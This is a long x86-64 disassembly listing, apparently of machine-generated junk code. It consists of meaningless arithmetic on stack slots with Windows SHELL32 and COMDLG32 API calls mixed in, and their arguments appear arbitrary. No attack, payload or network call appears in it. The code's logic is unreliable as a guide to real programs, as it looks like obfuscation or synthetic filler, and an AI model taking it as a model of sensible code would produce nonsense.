mov qword [rsp + 0xe218], rax
lea rax, [rsp + 0x26b]
mov qword [rsp + 0xf3f8], rax
mov rax, qword [rsp + 0xe580]
mov rcx, qword [rsp + 0xb050]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd0c8], rax
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b54], eax
movzx eax, word [rsp + 0x3000]
mov word [rsp + 0x3078], ax
mov rax, qword [rsp + 0x9ca8]
mov rcx, qword [0x14019f380]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d0d8], rax
movzx eax, byte [rsp + 0x2b2]
movzx ecx, byte [rsp + 0x5ac]
add eax, ecx
mov byte [rsp + 0x22e], al
mov eax, dword [0x14019efa8]
mov ecx, dword [rsp + 0x6980]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e24], eax
movsx eax, word [rsp + 0x1308]
movsx ecx, word [rsp + 0x3068]
and eax, ecx
mov word [rsp + 0xe3c], ax
mov rax, qword [rsp + 0xeb88]
movzx eax, word [rax]
mov word [rsp + 0x307c], ax
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xebe8]
mov qword [rsp + 0xf400], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf400]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdee0], rax
movsx eax, byte [rsp + 0x512]
mov rcx, qword [rsp + 0xe600]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3d1], al
mov rax, qword [rsp + 0xdd80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe7e8]
mov qword [rsp + 0xf408], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf408]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6334], eax
movsx eax, word [0x14019d094]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x162c], ax
movzx eax, word [rsp + 0x1bf0]
mov word [0x14019f5fc], ax
mov rax, qword [rsp + 0xeb38]
mov rax, qword [rax]
mov qword [rsp + 0xf410], rax
mov rax, qword [rsp + 0xec50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe2f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xde38], rax
mov rax, qword [rsp + 0xd2e0]
mov rcx, qword [rsp + 0xb198]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xee20], rax
movzx eax, word [rsp + 0x2808]
mov word [rsp + 0x3080], ax
mov rax, qword [rsp + 0xe5a0]
mov rax, qword [rax]
mov rcx, qword [0x14019f120]
mov qword [rsp + 0xf418], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf418]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xe418], rax
mov eax, dword [rsp + 0x6de0]
movzx ecx, al
mov eax, dword [rsp + 0x6b8c]
shl eax, cl
mov dword [rsp + 0x60d4], eax
mov rax, qword [rsp + 0xee30]
movsx eax, byte [rax]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x512], al
movzx eax, byte [rsp + 0x5a4]
mov rcx, qword [rsp + 0xe578]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x57c], al
mov rax, qword [rsp + 0xf2d8]
mov eax, dword [rax]
mov dword [rsp + 0x717c], eax
movsx eax, word [rsp + 0x2fb0]
mov rcx, qword [0x14019f3e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d1c0], ax
movzx eax, word [rsp + 0x3048]
mov rcx, qword [rsp + 0xef28]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2f90], ax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf210]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xbf8], ax
mov rax, qword [rsp + 0xeb80]
mov rcx, qword [rsp + 0xefa8]
mov qword [rsp + 0xf420], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf420]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb8b0], rax
mov rax, qword [rsp + 0xf1a0]
mov rax, qword [rax]
mov qword [rsp + 0xf428], rax
mov rax, qword [0x14019f488]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5b50]
shl eax, cl
mov rcx, qword [rsp + 0xd3d8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x5a8]
mov rcx, qword [rsp + 0xeb60]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x12a], al
lea rax, [rsp + 0x1810]
mov qword [rsp + 0xf430], rax
movzx eax, word [rsp + 0x2d74]
mov rcx, qword [0x14019f100]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf260]
mov word [rcx], ax
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xda78]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019f280], rax
movzx eax, word [rsp + 0xce0]
mov rcx, qword [rsp + 0xead0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2990], ax
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov rcx, qword [0x14019d148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe520], rax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe2e8]
shl rax, cl
mov qword [rsp + 0xf350], rax
mov rcx, qword [rsp + 0xf438]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xcf18], rax
movzx eax, byte [rsp + 0x50e]
mov byte [rsp + 0x5b7], al
mov rax, qword [rsp + 0xea00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd410]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xebc8], rax
mov eax, dword [rsp + 0x6818]
mov dword [rsp + 0x7180], eax
mov rax, qword [rsp + 0xe820]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x543], al
mov rax, qword [rsp + 0xd960]
mov ecx, dword [rsp + 0x6ebc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f9c], eax
lea rax, [rsp + 0x2e24]
mov qword [0x14019f600], rax
movsx eax, word [rsp + 0x3068]
movsx ecx, word [0x14019eff8]
add eax, ecx
mov word [rsp + 0x1b6c], ax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0x1c08]
xor eax, ecx
mov word [rsp + 0x1214], ax
movzx eax, word [rsp + 0x1f5c]
mov word [rsp + 0x3084], ax
mov rax, qword [rsp + 0xd468]
mov rcx, qword [0x14019f290]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xda38], rax
mov rdx, qword [rsp + 0xe4e0]
lea rcx, [rsp + 0xe668]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x6bc8], eax
mov rax, qword [rsp + 0xe6e8]
mov ecx, dword [rsp + 0x7104]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5dc0], eax
lea rax, [rsp + 0x519]
mov qword [rsp + 0xf440], rax
movsx eax, word [rsp + 0x2cc4]
movsx ecx, word [rsp + 0x2b20]
or eax, ecx
mov word [rsp + 0x2fc8], ax
mov rax, qword [rsp + 0xeed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ea4]
shl eax, cl
mov word [rsp + 0xc2c], ax
mov rax, qword [rsp + 0xb198]
mov qword [0x14019f608], rax
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
mov rcx, qword [0x14019f030]
mov qword [rsp + 0xf448], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf448]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa1e8], rax
mov dword [rsp + 0x20], reloc.SHELL32.dll_ILFindChild
lea r9, [rsp + 0x6d38]
mov r8d, 0x22
lea rdx, [rsp + 0x70bc]
lea rcx, [rsp + 0xd6a8]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x6fc8], eax
mov rax, qword [rsp + 0xf2c0]
mov rax, qword [rax]
mov qword [rsp + 0xf450], rax
mov rax, qword [rsp + 0xe6d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9828]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe740]
mov qword [rcx], rax
mov rax, qword [0x14019f0d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ef0], ax
mov eax, dword [rsp + 0x70fc]
mov dword [rsp + 0x7184], eax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c]
add eax, ecx
mov rcx, qword [rsp + 0xd1a0]
mov byte [rcx], al
lea rax, [rsp + 0xf438]
mov qword [rsp + 0x20], rax
mov r9d, 0x71
lea r8, [rsp + 0x200e0]
lea rdx, [rsp + 0x1f020]
lea rcx, [rsp + 0x20260]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x7188], eax
mov rax, qword [rsp + 0xe0c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0xe278]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xebe8]
mov qword [rsp + 0xf458], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf458]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xea78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d20]
or ecx, eax
mov eax, ecx
mov dword [0x14019f428], eax
movsx eax, word [rsp + 0x2a88]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2bac], ax
mov rax, qword [rsp + 0xe220]
movzx eax, word [rax]
mov word [rsp + 0x3088], ax
movzx eax, word [rsp + 0x2de0]
movzx ecx, word [rsp + 0x1b84]
and eax, ecx
mov rcx, qword [rsp + 0xef20]
mov word [rcx], ax
mov rax, qword [rsp + 0xd660]
mov rcx, qword [rsp + 0xddf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fc8], rax
mov rax, qword [rsp + 0xe308]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x54b]
sub eax, ecx
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0xb160]
mov rcx, qword [rsp + 0xe638]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fb0], rax
mov rax, qword [rsp + 0xe8a8]
mov eax, dword [rax]
mov dword [rsp + 0x718c], eax
movsx eax, word [rsp + 0x252c]
movsx ecx, word [0x14019d1e0]
sar eax, cl
mov word [rsp + 0x1698], ax
mov rax, qword [rsp + 0xead0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x304c]
shl eax, cl
mov word [0x14019d304], ax
mov rax, qword [rsp + 0xbd38]
mov qword [rsp + 0xf460], rax
mov rax, qword [rsp + 0xee70]
movzx eax, word [rax]
mov rcx, qword [0x14019f360]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f3c], ax
lea rax, [rsp + 0x7184]
mov qword [rsp + 0xf468], rax
mov rax, qword [rsp + 0xf2a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57c]
add eax, ecx
mov rcx, qword [rsp + 0xdd98]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe140]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5b3], al
mov rax, qword [rsp + 0xf180]
mov rcx, qword [rsp + 0xd248]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9420], rax
mov rax, qword [rsp + 0xd198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6afc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x654c], eax
lea rax, [rsp + 0x2c78]
mov qword [rsp + 0xf470], rax
mov rax, qword [rsp + 0xf1f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf1e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d154], ax
mov rax, qword [rsp + 0xe4d8]
mov rcx, qword [rsp + 0xe700]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xac20], rax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd768]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9628], rax
mov rax, qword [rsp + 0xf258]
movzx eax, word [rax]
mov word [rsp + 0x308c], ax
movzx eax, word [rsp + 0x3048]
mov rcx, qword [0x14019f4e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcbc], ax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0xf478], rax
mov rax, qword [rsp + 0xeff0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6978]
shl eax, cl
mov rcx, qword [rsp + 0xdd80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [0x14019f3b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xded0], rax
lea rax, [rsp + 0xb770]
mov qword [rsp + 0xf480], rax
mov rax, qword [rsp + 0xd928]
movzx eax, word [rax]
mov word [0x14019f610], ax
movzx eax, word [rsp + 0x2774]
movzx ecx, word [0x14019d114]
or eax, ecx
mov word [rsp + 0x2fac], ax
mov rax, qword [rsp + 0xf030]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4ee]
sar eax, cl
mov byte [rsp + 0x7f], al
mov eax, dword [rsp + 0x6458]
movzx ecx, al
mov eax, dword [rsp + 0x61cc]
shl eax, cl
mov rcx, qword [rsp + 0xe7b0]
mov dword [rcx], eax
mov rax, qword [0x14019f4b0]
mov rcx, qword [rsp + 0xea80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf3c0], rax
mov rax, qword [rsp + 0xe500]
movzx eax, byte [rax]
mov byte [rsp + 0x5b8], al
mov rax, qword [rsp + 0x9618]
mov rcx, qword [rsp + 0xe5f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd610], rax
lea rax, [0x14019f0c8]
mov qword [rsp + 0xf488], rax
movsx eax, word [rsp + 0x1b04]
mov rcx, qword [rsp + 0xe3f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe3c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x2f90]
movzx ecx, word [rsp + 0x304c]
add eax, ecx
mov word [0x14019d05c], ax
mov rax, qword [0x14019f5c8]
mov rcx, qword [rsp + 0xd3c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb598], rax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ed0]
add eax, ecx
mov rcx, qword [rsp + 0xf210]
mov word [rcx], ax
movsx eax, word [rsp + 0x2dac]
mov rcx, qword [rsp + 0xf008]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2f78], ax
mov rax, qword [rsp + 0xabf8]
mov qword [rsp + 0xf490], rax
mov rax, qword [rsp + 0xe160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdd70]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x584], al
lea rax, [0x14019d1dc]
mov qword [rsp + 0xf498], rax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf180]
mov qword [rsp + 0xf4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf4a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa4f8], rax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3058], ax
mov rax, qword [rsp + 0xe258]
movzx ecx, al
mov rax, qword [rsp + 0xf390]
sar rax, cl
mov qword [0x14019d308], rax
mov rax, qword [rsp + 0xe820]
movzx eax, byte [rax]
mov byte [rsp + 0x5b9], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7060]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6dbc], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1750]
shl eax, cl
mov word [rsp + 0x1630], ax
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x131c]
sar eax, cl
mov word [rsp + 0x2d4c], ax
mov rax, qword [rsp + 0xadb8]
mov rcx, qword [0x14019f1d8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xeac8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xec80]
movzx eax, byte [rax]
mov byte [rsp + 0x5ba], al
mov rax, qword [rsp + 0xdf20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x712c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x61b8], eax
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d18]
sub eax, ecx
mov word [rsp + 0x2498], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f44]
add eax, ecx
mov word [0x14019f168], ax
mov rax, qword [rsp + 0xe098]
mov rcx, qword [rsp + 0xdfb0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe840], rax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe390], rax
mov rax, qword [rsp + 0x9ef8]
mov qword [rsp + 0xf4a8], rax
lea rcx, [rsp + 0x1e970]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xce30], rax
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [0x14019d0cc]
sar eax, cl
mov word [rsp + 0x2b38], ax
mov eax, dword [rsp + 0x5a10]
mov dword [rsp + 0x7190], eax
movsx eax, byte [rsp + 0x14e]
movsx ecx, byte [rsp + 0x52a]
shl eax, cl
mov rcx, qword [rsp + 0xec28]
mov byte [rcx], al
lea rax, [0x14019f2a0]
mov qword [rsp + 0xf4b0], rax
mov rcx, qword [rsp + 0xd640]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x6fac], eax
mov rax, qword [rsp + 0xf2d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f1c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe550]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x599]
movzx ecx, byte [rsp + 0x578]
sub eax, ecx
mov byte [rsp + 0x51], al
lea rax, [0x14019d1c0]
mov qword [0x14019f618], rax
lea rax, [rsp + 0x2c58]
mov qword [rsp + 0xf4b8], rax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa0]
add eax, ecx
mov word [rsp + 0x2eb4], ax
lea rax, [rsp + 0xa678]
mov qword [rsp + 0xf4c0], rax
lea rcx, [rsp + 0x2a5c]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xf4c8], rax
mov rax, qword [rsp + 0xe078]
mov rax, qword [rax]
mov rcx, qword [0x14019f010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0xdd50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5b74]
shr eax, cl
mov dword [rsp + 0x6ea0], eax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xeb60]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2ee], al
movsx eax, word [rsp + 0x2ffc]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2af8], ax
mov rax, qword [rsp + 0xeef8]
movzx eax, word [rax]
mov word [rsp + 0x3090], ax
mov rax, qword [0x14019f5c8]
mov rcx, qword [rsp + 0xef88]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d250], rax
movzx eax, word [rsp + 0x2650]
movzx ecx, word [rsp + 0x2e74]
sub eax, ecx
mov word [rsp + 0x25c0], ax
mov rax, qword [rsp + 0xd860]
mov rcx, qword [0x14019f370]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x98a0], rax
mov rax, qword [rsp + 0xecf0]
mov rcx, qword [rsp + 0xe6f8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa890], rax
mov rax, qword [rsp + 0xdcc8]
movzx ecx, al
mov rax, qword [rsp + 0xa570]
shl rax, cl
mov qword [rsp + 0xa3b0], rax
mov eax, dword [rsp + 0x6d28]
mov dword [rsp + 0x7194], eax
mov rax, qword [rsp + 0xed00]
mov ecx, dword [rsp + 0x6964]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5938], eax
movzx eax, byte [rsp + 0x557]
mov byte [rsp + 0x5bb], al
movsx eax, byte [rsp + 0x488]
movsx ecx, byte [rsp + 0x2cb]
sar eax, cl
mov byte [rsp + 0x26f], al
movzx eax, word [rsp + 0x1a3c]
mov word [0x14019f620], ax
mov rax, qword [rsp + 0xe148]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2eac]
sub eax, ecx
mov word [rsp + 0x1a38], ax
lea rax, [rsp + 0x234e0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1ffe0]
lea r8, [rsp + 0x6fb8]
mov edx, 0xa3
lea rcx, [rsp + 0xf188]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x6ca4], eax
lea rdx, [rsp + 0xdde8]
lea rcx, [rsp + 0x20060]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xea88], rax
movzx eax, word [rsp + 0x304c]
mov rcx, qword [0x14019f4e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13e8], ax
mov rax, qword [rsp + 0xece0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e10]
add eax, ecx
mov word [rsp + 0x2b24], ax
mov eax, dword [rsp + 0x6f40]
mov dword [rsp + 0x7198], eax
movsx eax, byte [rsp + 0x27f]
mov rcx, qword [rsp + 0xe3c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53a], al
mov rax, qword [rsp + 0xf1a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc028]
shr rax, cl
mov qword [rsp + 0xa3c8], rax
mov rax, qword [rsp + 0xdb70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe0e0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f28], ax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dbc]
or eax, ecx
mov word [rsp + 0x2f48], ax
mov rax, qword [rsp + 0xf480]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd950]
add rcx, rax
mov rax, rcx
mov qword [0x14019f578], rax
mov rax, qword [0x14019d260]
mov qword [rsp + 0xf4d0], rax
mov rax, qword [rsp + 0xea80]
mov rcx, qword [rsp + 0xe868]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd650]
mov qword [rcx], rax
mov rax, qword [rsp + 0xec50]
mov rcx, qword [rsp + 0xd5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe258], rax
movzx eax, word [0x14019d304]
mov word [rsp + 0x3094], ax
movzx eax, byte [rsp + 0x3dd]
mov rcx, qword [rsp + 0xe370]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0xe7b0]
mov rcx, qword [rsp + 0xf2d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5cac], eax
mov rax, qword [rsp + 0xf2e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc188]
shl rax, cl
mov qword [rsp + 0xa570], rax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe0c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xea98]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6ff8]
mov dword [0x14019d0b0], eax
mov rax, qword [rsp + 0xe828]
movzx eax, word [rax]
mov word [rsp + 0x3098], ax
mov rax, qword [rsp + 0xed08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d6c]
sub eax, ecx
mov rcx, qword [rsp + 0xdd10]
mov word [rcx], ax
movzx eax, word [0x14019f0a4]
movzx ecx, word [rsp + 0x2af4]
sub eax, ecx
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0xf480]
mov rcx, qword [rsp + 0xd408]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xf450], rax
movzx eax, byte [rsp + 0x3f1]
mov byte [rsp + 0x5bc], al
mov rax, qword [0x14019f158]
mov ecx, dword [rsp + 0x6d64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5ff8], eax
mov rax, qword [rsp + 0xe478]
mov rcx, qword [rsp + 0xf2e8]
mov qword [rsp + 0xf4d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf4d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xf428], rax
lea rax, [0x14019ef94]
mov qword [rsp + 0xf4e0], rax
movzx eax, word [rsp + 0xd0c]
mov word [0x14019f624], ax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd7a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
mov rcx, qword [0x14019f0d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1634], ax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5ce8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6540], eax
mov rax, qword [rsp + 0xf2a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45a]
xor eax, ecx
mov byte [rsp + 0x56e], al
mov rax, qword [0x14019d118]
mov qword [rsp + 0xf4e8], rax
mov rax, qword [rsp + 0xe260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51d]
sub eax, ecx
mov byte [rsp + 0xc3], al
mov eax, dword [rsp + 0x6cf0]
mov dword [rsp + 0x719c], eax
mov rax, qword [rsp + 0xde08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf4e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ae8], ax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f0c]
or eax, ecx
mov word [0x14019d310], ax
mov rax, qword [rsp + 0xe630]
movzx ecx, al
mov rax, qword [rsp + 0xeab0]
sar rax, cl
mov qword [rsp + 0xf350], rax
mov rax, qword [rsp + 0xd638]
movzx ecx, al
mov rax, qword [rsp + 0xd808]
shl rax, cl
mov qword [rsp + 0x9510], rax
mov rax, qword [rsp + 0xe3c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20a8]
sub eax, ecx
mov word [rsp + 0x3044], ax
movzx eax, word [0x14019d048]
mov word [rsp + 0x309c], ax
mov rax, qword [rsp + 0xf440]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x54a]
add eax, ecx
mov rcx, qword [rsp + 0xf440]
mov byte [rcx], al
mov rax, qword [rsp + 0xe9a0]
mov rcx, qword [rsp + 0xe408]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbfe8], rax
mov rax, qword [0x14019f488]
mov rcx, qword [rsp + 0xe6e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e2c], eax
mov rax, qword [rsp + 0xd6f8]
mov rcx, qword [rsp + 0xed28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019d1bc], ax
lea rax, [rsp + 0x1d04]
mov qword [rsp + 0xf4f0], rax
mov rax, qword [rsp + 0xebb0]
mov rcx, qword [rsp + 0xe708]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5ec4], eax
mov rax, qword [rsp + 0xf2a0]
movzx eax, byte [rax]
mov byte [rsp + 0x5bd], al
mov rax, qword [rsp + 0xe810]
mov rcx, qword [rsp + 0xa890]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xeb00], rax
movsx eax, byte [rsp + 0x488]
mov rcx, qword [rsp + 0xf440]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xe3c8]
mov byte [rcx], al
mov rax, qword [section..data]
mov qword [rsp + 0xf4f8], rax
